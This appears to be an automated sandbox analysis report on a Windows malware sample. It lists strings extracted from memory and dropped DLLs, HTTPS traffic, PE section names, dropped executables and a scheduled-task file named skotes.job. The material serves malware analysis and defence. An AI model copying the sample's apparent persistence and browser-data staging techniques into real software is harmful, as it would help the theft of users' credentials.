Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_78.3.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2016890475.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2016479995.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2007740395.000000001D6E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: DGCBAFIJ.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_80.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_80.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_80.3.dr, chromecache_78.3.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIEBKJKFHIEBFBA.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIEBKJKFHIEBFBA.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: DGCBAFIJ.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, DGCBAFIJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, DGCBAFIJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_80.3.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_80.3.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIEBKJKFHIEBFBA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIEBKJKFHIEBFBA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chromecache_80.3.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, DGCBAFIJ.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: DGCBAFIJ.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, DGCBAFIJ.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_78.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_78.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_78.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_78.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: FCFBFHIEBKJKFHIEBFBA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_78.3.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_80.3.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_80.3.dr	String found in binary or memory: https://plus.googleapis.com
Source: HDAFIIDAKJDGDHIDAKJJJEHCFB.0.dr	String found in binary or memory: https://support.mozilla.org
Source: HDAFIIDAKJDGDHIDAKJJJEHCFB.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HDAFIIDAKJDGDHIDAKJJJEHCFB.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1814738702.000000001D5ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1814738702.000000001D5ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: chromecache_80.3.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIEBKJKFHIEBFBA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: DGCBAFIJ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIEBKJKFHIEBFBA.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: DGCBAFIJ.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_80.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_80.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_78.3.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_78.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_78.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: HDAFIIDAKJDGDHIDAKJJJEHCFB.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1980746519.0000000000337000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: HDAFIIDAKJDGDHIDAKJJJEHCFB.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.1980746519.0000000000337000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.1980746519.0000000000337000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: HDAFIIDAKJDGDHIDAKJJJEHCFB.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.1980746519.0000000000337000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1888739735.000000002395A000.00000004.00000020.00020000.00000000.sdmp, HDAFIIDAKJDGDHIDAKJJJEHCFB.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.1980746519.0000000000337000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/x1024
Source: HDAFIIDAKJDGDHIDAKJJJEHCFB.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1980746519.0000000000337000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1888739735.000000002395A000.00000004.00000020.00020000.00000000.sdmp, HDAFIIDAKJDGDHIDAKJJJEHCFB.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1980746519.0000000000337000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49771 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsJJKEBGHJKF.exe.0.dr	Static PE information: section name:
Source: DocumentsJJKEBGHJKF.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E62C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,		0_2_6C7E62C0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B6CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,		12_2_00B6CB97

Source: C:\Users\user\DocumentsJJKEBGHJKF.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66AC60	0_2_6C66AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73AC30	0_2_6C73AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C726C00	0_2_6C726C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65ECC0	0_2_6C65ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BECD0	0_2_6C6BECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72ED70	0_2_6C72ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78AD50	0_2_6C78AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E8D20	0_2_6C7E8D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7ECDC0	0_2_6C7ECDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C664DB0	0_2_6C664DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F6D90	0_2_6C6F6D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FEE70	0_2_6C6FEE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C740E20	0_2_6C740E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66AEC0	0_2_6C66AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C700EC0	0_2_6C700EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E6E90	0_2_6C6E6E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C722F70	0_2_6C722F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CEF40	0_2_6C6CEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A0F20	0_2_6C7A0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666F10	0_2_6C666F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73EFF0	0_2_6C73EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C660FE0	0_2_6C660FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A8FB0	0_2_6C7A8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66EFB0	0_2_6C66EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C734840	0_2_6C734840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B0820	0_2_6C6B0820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EA820	0_2_6C6EA820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7668E0	0_2_6C7668E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698960	0_2_6C698960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B6900	0_2_6C6B6900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77C9E0	0_2_6C77C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6949F0	0_2_6C6949F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7209B0	0_2_6C7209B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F09A0	0_2_6C6F09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71A9A0	0_2_6C71A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DCA70	0_2_6C6DCA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C718A30	0_2_6C718A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70EA00	0_2_6C70EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DEA80	0_2_6C6DEA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C766BE0	0_2_6C766BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C700BA0	0_2_6C700BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678460	0_2_6C678460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C4420	0_2_6C6C4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EA430	0_2_6C6EA430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A64D0	0_2_6C6A64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FA4D0	0_2_6C6FA4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78A480	0_2_6C78A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C700570	0_2_6C700570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2560	0_2_6C6C2560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A8550	0_2_6C7A8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B8540	0_2_6C6B8540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C764540	0_2_6C764540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72A5E0	0_2_6C72A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EE5F0	0_2_6C6EE5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6545B0	0_2_6C6545B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC650	0_2_6C6BC650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE6E0	0_2_6C6BE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FE6E0	0_2_6C6FE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6846D0	0_2_6C6846D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E0700	0_2_6C6E0700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68A7D0	0_2_6C68A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AE070	0_2_6C6AE070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728010	0_2_6C728010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72C000	0_2_6C72C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73C0B0	0_2_6C73C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6700B0	0_2_6C6700B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C658090	0_2_6C658090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C8140	0_2_6C6C8140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C744130	0_2_6C744130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D6130	0_2_6C6D6130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6601E0	0_2_6C6601E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E8260	0_2_6C6E8260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8250	0_2_6C6F8250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C738220	0_2_6C738220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72A210	0_2_6C72A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E62C0	0_2_6C7E62C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72E2B0	0_2_6C72E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7322A0	0_2_6C7322A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A2370	0_2_6C7A2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C662370	0_2_6C662370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77C360	0_2_6C77C360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F6370	0_2_6C6F6370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668340	0_2_6C668340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D2320	0_2_6C6D2320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B43E0	0_2_6C6B43E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6923A0	0_2_6C6923A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE3B0	0_2_6C6BE3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C663C40	0_2_6C663C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C789C40	0_2_6C789C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671C30	0_2_6C671C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C721CE0	0_2_6C721CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79DCD0	0_2_6C79DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FFC80	0_2_6C6FFC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C3D00	0_2_6C6C3D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C731DC0	0_2_6C731DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C653D80	0_2_6C653D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A9D90	0_2_6C7A9D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BBE70	0_2_6C7BBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E5E60	0_2_6C7E5E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76DE10	0_2_6C76DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C683EC0	0_2_6C683EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695F20	0_2_6C695F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655F30	0_2_6C655F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B7F20	0_2_6C7B7F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70BFF0	0_2_6C70BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77DFC0	0_2_6C77DFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E3FC0	0_2_6C7E3FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C681F90	0_2_6C681F90
